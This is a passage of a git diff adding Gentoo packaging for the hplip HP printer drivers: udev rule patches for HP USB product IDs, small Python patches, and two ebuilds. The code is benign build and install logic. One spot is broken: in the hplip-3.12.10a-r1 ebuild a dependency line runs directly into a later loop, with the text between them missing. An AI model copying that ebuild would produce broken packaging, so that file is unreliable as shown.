# photosmart_d2300_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c302", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c302", OWNER="root", GROUP="lp", MODE="660" + # photosmart_100 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3802", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3802", OWNER="root", GROUP="lp", MODE="660" + # photosmart_1115 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3402", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3402", OWNER="root", GROUP="lp", MODE="660" + # photosmart_1215 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3202", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3202", OWNER="root", GROUP="lp", MODE="660" + # photosmart_1218 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3302", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3302", OWNER="root", GROUP="lp", MODE="660" + # photosmart_130 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3902", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3902", OWNER="root", GROUP="lp", MODE="660" + # photosmart_1315 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3602", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3602", OWNER="root", GROUP="lp", MODE="660" + # photosmart_140_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1002", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1002", OWNER="root", GROUP="lp", MODE="660" + # photosmart_230 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3502", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3502", OWNER="root", GROUP="lp", MODE="660" + # photosmart_240_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1102", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1102", OWNER="root", GROUP="lp", MODE="660" + # photosmart_320_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1202", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1202", OWNER="root", GROUP="lp", MODE="660" + # photosmart_330_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1602", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1602", OWNER="root", GROUP="lp", MODE="660" + # photosmart_370_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1302", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1302", OWNER="root", GROUP="lp", MODE="660" + # photosmart_380_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1702", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1702", OWNER="root", GROUP="lp", MODE="660" + # photosmart_420_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1502", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1502", OWNER="root", GROUP="lp", MODE="660" + # photosmart_470_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1802", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1802", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7150 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3a02", OWNER="root", GROUP="lp", MODE="660" +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3b02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3a02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3b02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7200_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b002", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b002", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7345 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2002", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2002", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7350 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3c02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3c02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7400_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b802", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b802", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7550 +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3e02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3e02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7600_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b202", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b202", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7700_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b402", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b402", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7800_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c002", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c002", OWNER="root", GROUP="lp", MODE="660" + # photosmart_7900_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b602", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b602", OWNER="root", GROUP="lp", MODE="660" + # photosmart_8000_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c102", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c102", OWNER="root", GROUP="lp", MODE="660" + # photosmart_8100_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="ba02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="ba02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_8200_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c202", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c202", OWNER="root", GROUP="lp", MODE="660" + # photosmart_8400_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="bb02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="bb02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_8700_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="bc02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="bc02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a310_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1d02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1d02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a320_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1e02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1e02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a430_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1902", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1902", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a440_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1f02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1f02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a510_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1a02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1a02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a520_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2602", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2602", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a530_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2b02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2b02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a610_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1b02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1b02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a620_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2702", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2702", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a630_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2c02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2c02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a710_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1c02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1c02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_a820_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2902", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2902", OWNER="root", GROUP="lp", MODE="660" + # photosmart_d5060_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c802", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c802", OWNER="root", GROUP="lp", MODE="660" + # photosmart_d5100_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c402", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c402", OWNER="root", GROUP="lp", MODE="660" + # photosmart_d6100_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c502", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c502", OWNER="root", GROUP="lp", MODE="660" + # photosmart_d7100_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c602", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c602", OWNER="root", GROUP="lp", MODE="660" + # photosmart_d7300_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c702", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c702", OWNER="root", GROUP="lp", MODE="660" + # photosmart_pro_b8300_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="be02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="be02", OWNER="root", GROUP="lp", MODE="660" + # photosmart_b8800_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="d002", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="d002", OWNER="root", GROUP="lp", MODE="660" + # photosmart_pro_b9100_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="bd02", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="bd02", OWNER="root", GROUP="lp", MODE="660" + # Photosmart_B8500_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="d102", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="d102", OWNER="root", GROUP="lp", MODE="660" + # Photosmart_A640_series +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="7902", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="7902", OWNER="root", GROUP="lp", MODE="660" + + # Check for Business Inkjet products (0x03f0xx12). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??12", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??12", OWNER="root", GROUP="lp", MODE="660" + # Check for Deskjet products (0x03f0xx04). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??04", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??04", OWNER="root", GROUP="lp", MODE="660" + # Check for LaserJet products (0x03f0xx17). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??17", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??17", OWNER="root", GROUP="lp", MODE="660" + # Check for LaserJet products (0x03f0xx2a). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??2a", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??2a", OWNER="root", GROUP="lp", MODE="660" + # Check for DesignJet product (0x03f0xx14). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??14", OWNER="root", GROUP="lp", MODE="660" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??14", OWNER="root", GROUP="lp", MODE="660" + + # Removed the following rule because FHS states that /etc should be reserved for static files only. This + # functionality should be done in a deb/rpm post install script. 2/11/2009, D Suffield +diff -Naur hplip-3.11.10-old/data/rules/56-hpmud_support.rules hplip-3.11.10/data/rules/56-hpmud_support.rules +--- hplip-3.11.10-old/data/rules/56-hpmud_support.rules 2011-10-15 14:11:06.143791977 +0200 ++++ hplip-3.11.10/data/rules/56-hpmud_support.rules 2011-10-15 14:11:49.153790877 +0200 +@@ -7,9 +7,9 @@ + LABEL="pid_test" + + # Check for LaserJet products (0x03f0xx17). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??17", ENV{hp_model}="$sysfs{product}", ENV{hp_test}="yes" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??17", RUN+="/bin/sh -c 'hp_model=%E{ID_MODEL} /usr/bin/hp-mkuri -c &'" + # Check for LaserJet products (0x03f0xx2a). +-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??2a", ENV{hp_model}="$sysfs{product}", ENV{hp_test}="yes" ++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??2a", RUN+="/bin/sh -c 'hp_model=%E{ID_MODEL} /usr/bin/hp-mkuri -c &'" + ENV{hp_test}=="yes", RUN+="/bin/sh -c '/usr/bin/hp-mkuri -c &'" + + LABEL="hpmud_rules_end" diff --git a/net-print/hplip/files/hplip-3.9.10-browser.patch b/net-print/hplip/files/hplip-3.9.10-browser.patch new file mode 100644 index 00000000..46c4f634 --- /dev/null +++ b/net-print/hplip/files/hplip-3.9.10-browser.patch @@ -0,0 +1,38 @@ +--- base/utils.py.old 2009-11-14 15:23:29.000000000 +0100 ++++ base/utils.py 2009-11-14 15:37:53.000000000 +0100 +@@ -812,13 +812,15 @@ + return True + + +-BROWSERS = ['firefox', 'mozilla', 'konqueror', 'galeon', 'skipstone'] # in preferred order +-BROWSER_OPTS = {'firefox': '-new-window', 'mozilla' : '', 'konqueror': '', 'galeon': '-w', 'skipstone': ''} ++BROWSERS = ['firefox', 'mozilla', 'konqueror', 'epiphany', 'skipstone'] # in preferred order ++BROWSER_OPTS = {'firefox': '-new-tab', 'mozilla': '', 'konqueror': '', 'epiphany': '--new-tab', 'skipstone': ''} + + + def find_browser(): + if platform_avail and platform.system() == 'Darwin': + return "open" ++ if platform_avail and platform.system() == 'Linux' and which("xdg-open"): ++ return "xdg-open" + else: + for b in BROWSERS: + if which(b): +@@ -832,11 +834,14 @@ + cmd = 'open "%s"' % url + log.debug(cmd) + os.system(cmd) ++ if platform_avail and platform.system() == 'Linux' and which("xdg-open"): ++ cmd = 'xdg-open "%s"' % url ++ log.debug(cmd) ++ os.system(cmd) + else: + for b in BROWSERS: +- bb = which(b) +- if bb: +- bb = os.path.join(bb, b) ++ if b: ++ bb = which(b, return_full_path='True') + if use_browser_opts: + cmd = """%s %s "%s" &""" % (bb, BROWSER_OPTS[b], url) + else: diff --git a/net-print/hplip/files/hplip-3.9.12-cupsddk.patch b/net-print/hplip/files/hplip-3.9.12-cupsddk.patch new file mode 100644 index 00000000..b059c9bb --- /dev/null +++ b/net-print/hplip/files/hplip-3.9.12-cupsddk.patch @@ -0,0 +1,23 @@ +diff -Naur hplip-3.9.12-old/installer/core_install.py hplip-3.9.12/installer/core_install.py +--- hplip-3.9.12-old/installer/core_install.py 2009-12-15 22:22:13.000000000 +0100 ++++ hplip-3.9.12/installer/core_install.py 2009-12-20 02:11:47.000000000 +0100 +@@ -29,6 +29,7 @@ + import grp + import pwd + import tarfile ++import commands # TODO: Replace with subprocess (commands is deprecated in Python 3.0) + + try: + import hashlib # new in 2.5 +@@ -1036,9 +1037,8 @@ + def check_cupsddk(self): + log.debug("Checking for cups-ddk...") + # TODO: Compute these paths some way or another... +- #return check_tool("/usr/lib/cups/driver/drv list") and os.path.exists("/usr/share/cupsddk/include/media.defs") +- return (check_file('drv', "/usr/lib/cups/driver") or check_file('drv', "/usr/lib64/cups/driver")) and \ +- check_file('media.defs', "/usr/share/cupsddk/include") ++ #return check_tool(commands.getoutput("cups-config --serverbin") + "/driver/drv list") and os.path.exists("/usr/share/cupsddk/include/media.defs") ++ return check_file('drv', commands.getoutput("cups-config --serverbin") + "/driver") and check_file('media.defs', "/usr/share/cupsddk/include") + + + def check_policykit(self): diff --git a/net-print/hplip/files/hplip-3.9.12-systray.patch b/net-print/hplip/files/hplip-3.9.12-systray.patch new file mode 100644 index 00000000..0ae053fa --- /dev/null +++ b/net-print/hplip/files/hplip-3.9.12-systray.patch @@ -0,0 +1,22 @@ + +++ hplip-3.9.10/debian/patches/hplip-systray-longer-timeout-for-system-tray-start.dpatch + +#! /bin/sh /usr/share/dpatch/dpatch-run +## hplip-systray-longer-timeout-for-system-tray-start.dpatch by +## +## All lines beginning with `## DP:' are a description of the patch. +## DP: No description. + +@DPATCH@ +diff -urNad hplip-3.9.10~/ui4/systemtray.py hplip-3.9.10/ui4/systemtray.py +--- hplip-3.9.10~/ui4/systemtray.py 2009-11-17 21:23:42.000000000 +0100 ++++ hplip-3.9.10/ui4/systemtray.py 2009-11-29 21:34:01.399929476 +0100 +@@ -706,7 +706,7 @@ + app.setQuitOnLastWindowClosed(False) # If not set, settings dlg closes app + + i = 0 +- while i < 10: ++ while i < 180: + if QSystemTrayIcon.isSystemTrayAvailable(): + break + time.sleep(1.0) diff --git a/net-print/hplip/hplip-3.12.10.ebuild b/net-print/hplip/hplip-3.12.10.ebuild new file mode 100644 index 00000000..6f173587 --- /dev/null +++ b/net-print/hplip/hplip-3.12.10.ebuild @@ -0,0 +1,244 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.10.ebuild,v 1.2 2012/10/20 11:54:01 billie Exp $ + +EAPI=4 + +PYTHON_DEPEND="!minimal? 2" +PYTHON_USE_WITH="threads xml" +PYTHON_USE_WITH_OPT="!minimal" + +inherit eutils fdo-mime linux-info python autotools toolchain-funcs + +DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools." +HOMEPAGE="http://hplipopensource.com/hplip-web/index.html" +SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz + http://dev.gentoo.org/~billie/distfiles/${P}-patches-1.tar.xz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86" + +# zeroconf does not work properly with >=cups-1.4. +# Thus support for it is also disabled in hplip. +IUSE="+autostart doc fax +hpcups hpijs kde libnotify minimal parport policykit qt4 scanner snmp static-ppds X" + +COMMON_DEPEND=" + virtual/jpeg + hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] ) + !minimal? ( + >=net-print/cups-1.4.0 + virtual/libusb:1 + scanner? ( >=media-gfx/sane-backends-1.0.19-r1 ) + fax? ( sys-apps/dbus ) + snmp? ( + net-analyzer/net-snmp + dev-libs/openssl:0 + ) + )" + +DEPEND="${COMMON_DEPEND} + virtual/pkgconfig" + +RDEPEND="${COMMON_DEPEND} + >=app-text/ghostscript-gpl-8.71-r3 + dev-python/dbus-python + policykit? ( + sys-auth/polkit + ) + !minimal? ( + dev-python/pygobject:2 + kernel_linux? ( >=sys-fs/udev-114 ) + scanner? ( + dev-python/imaging + X? ( || ( + kde? ( kde-misc/skanlite ) + media-gfx/xsane + media-gfx/sane-frontends + ) ) + ) + fax? ( + dev-python/reportlab + dev-python/dbus-python + ) + qt4? ( + dev-python/PyQt4[dbus,X] + libnotify? ( + dev-python/notify-python + ) + ) + )" + +CONFIG_CHECK="~PARPORT ~PPDEV" +ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)." + +pkg_setup() { + if ! use minimal; then + python_set_active_version 2 + python_pkg_setup + fi + + ! use qt4 && ewarn "You need USE=qt4 for the hplip GUI." + + use scanner && ! use X && ewarn "You need USE=X for the scanner GUI." + + if ! use hpcups && ! use hpijs ; then + ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver," + ewarn "which is probably not what you want." + ewarn "You will almost certainly not be able to print." + fi + + if use minimal ; then + ewarn "Installing driver portions only, make sure you know what you are doing." + ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver" + ewarn "is installed. If both USE flags are set hpijs overrides hpcups." + else + use parport && linux-info_pkg_setup + fi +} + +src_prepare() { + use !minimal && python_convert_shebangs -q -r 2 . + + EPATCH_SUFFIX="patch" \ + EPATCH_FORCE="yes" \ + epatch "${WORKDIR}" + + # Fix for Gentoo bug #345725 + local udevdir=/lib/udev + has_version sys-fs/udev && udevdir="$($(tc-getPKG_CONFIG) --variable=udevdir udev)" + sed -i -e "s|/etc/udev|${udevdir}|g" \ + $(find . -type f -exec grep -l /etc/udev {} +) || die + + # Force recognition of Gentoo distro by hp-check + sed -i \ + -e "s:file('/etc/issue', 'r').read():'Gentoo':" \ + installer/core_install.py || die + + # Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip + # The hpcups driver does not use foomatic-rip + local i + for i in ppd/hpijs/*.ppd.gz ; do + rm -f ${i}.temp || die + gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \ + gzip > ${i}.temp || die + mv ${i}.temp ${i} || die + done + + eautoreconf +} + +src_configure() { + local myconf drv_build minimal_build + + if use fax || use qt4 ; then + myconf="${myconf} --enable-dbus-build" + else + myconf="${myconf} --disable-dbus-build" + fi + + if use hpcups ; then + drv_build="$(use_enable hpcups hpcups-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-cups-ppd-install" + drv_build="${drv_build} --disable-cups-drv-install" + else + drv_build="${drv_build} --enable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + else + drv_build="--disable-hpcups-install" + drv_build="${drv_build} --disable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + + if use hpijs ; then + drv_build="${drv_build} $(use_enable hpijs hpijs-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-foomatic-ppd-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + else + drv_build="${drv_build} --enable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + else + drv_build="${drv_build} --disable-hpijs-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + + if use minimal ; then + if use hpijs ; then + minimal_build="--enable-hpijs-only-build" + else + minimal_build="--disable-hpijs-only-build" + fi + if use hpcups ; then + minimal_build="${minimal_build} --enable-hpcups-only-build" + else + minimal_build="${minimal_build} --disable-hpcups-only-build" + fi + fi + + econf \ + --disable-cups11-build \ + --disable-lite-build \ + --disable-foomatic-rip-hplip-install \ + --disable-shadow-build \ + --disable-qt3 \ + --disable-libusb01_build \ + --disable-udev_sysfs_rules \ + --disable-udev-acl-rules \ + --with-cupsbackenddir=$(cups-config --serverbin)/backend \ + --with-cupsfilterdir=$(cups-config --serverbin)/filter \ + --with-docdir=/usr/share/doc/${PF} \ + --with-htmldir=/usr/share/doc/${PF}/html \ + ${myconf} \ + ${drv_build} \ + ${minimal_build} \ + $(use_enable doc doc-build) \ + $(use_enable fax fax-build) \ + $(use_enable parport pp-build) \ + $(use_enable scanner scan-build) \ + $(use_enable snmp network-build) \ + $(use_enable qt4 gui-build) \ + $(use_enable qt4) \ + $(use_enable policykit) +} + +src_install() { + default + + # Installed by sane-backends + # Gentoo Bug: #201023 + rm -f "${D}"/etc/sane.d/dll.conf || die + + # bug 106035/259763 + if ! use autostart || ! use qt4 ; then + rm -r "${D}"/usr/share/applications "${D}"/etc/xdg + fi + + rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die + rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die + + # Remove hal fdi files + rm -rf "${D}"/usr/share/hal || die + + find "${D}" -name '*.la' -exec rm -rf {} + || die +} + +pkg_postinst() { + use !minimal && python_mod_optimize /usr/share/${PN} + fdo-mime_desktop_database_update + + elog "For more information on setting up your printer please take" + elog "a look at the hplip section of the gentoo printing guide:" + elog "http://www.gentoo.org/doc/en/printing-howto.xml" + elog + elog "Any user who wants to print must be in the lp group." +} + +pkg_postrm() { + use !minimal && python_mod_cleanup /usr/share/${PN} + fdo-mime_desktop_database_update +} diff --git a/net-print/hplip/hplip-3.12.10a-r1.ebuild b/net-print/hplip/hplip-3.12.10a-r1.ebuild new file mode 100644 index 00000000..fd8ce690 --- /dev/null +++ b/net-print/hplip/hplip-3.12.10a-r1.ebuild @@ -0,0 +1,262 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.10a-r1.ebuild,v 1.2 2012/12/11 17:01:02 axs Exp $ + +EAPI=4 + +PYTHON_DEPEND="!minimal? 2" +PYTHON_USE_WITH="threads xml" +PYTHON_USE_WITH_OPT="!minimal" + +inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs + +DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools." +HOMEPAGE="http://hplipopensource.com/hplip-web/index.html" +SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz + http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86" + +# zeroconf does not work properly with >=cups-1.4. +# Thus support for it is also disabled in hplip. +IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X" + +COMMON_DEPEND=" + virtual/jpeg + hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] ) + !minimal? ( + >=net-print/cups-1.4.0 + !libusb0? ( virtual/libusb:1 ) + libusb0? ( virtual/libusb:0 ) + scanner? ( >=media-gfx/sane-backends-1.0.19-r1 ) + fax? ( sys-apps/dbus ) + snmp? ( + net-analyzer/net-snmp + dev-libs/openssl:0 + ) + )" + +DEPEND="${COMMON_DEPEND} + virtual/pkgconfig" + +RDEPEND="${COMMON_DEPEND} + >=app-text/ghostscript-gpl-8.71-r3 + dev-python/dbus-python + policykit? ( + sys-auth/polkit + ) + !minimal? ( + dev-python/pygobject:2 + kernel_linux? ( virtual/udev ! ${i}.temp || die + mv ${i}.temp ${i} || die + done + + eautoreconf +} + +src_configure() { + local myconf drv_build minimal_build + + if use fax || use qt4 ; then + myconf="${myconf} --enable-dbus-build" + else + myconf="${myconf} --disable-dbus-build" + fi + + if use libusb0 ; then + myconf="${myconf} --enable-libusb01_build" + else + myconf="${myconf} --disable-libusb01_build" + fi + + if use hpcups ; then + drv_build="$(use_enable hpcups hpcups-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-cups-ppd-install" + drv_build="${drv_build} --disable-cups-drv-install" + else + drv_build="${drv_build} --enable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + else + drv_build="--disable-hpcups-install" + drv_build="${drv_build} --disable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + + if use hpijs ; then + 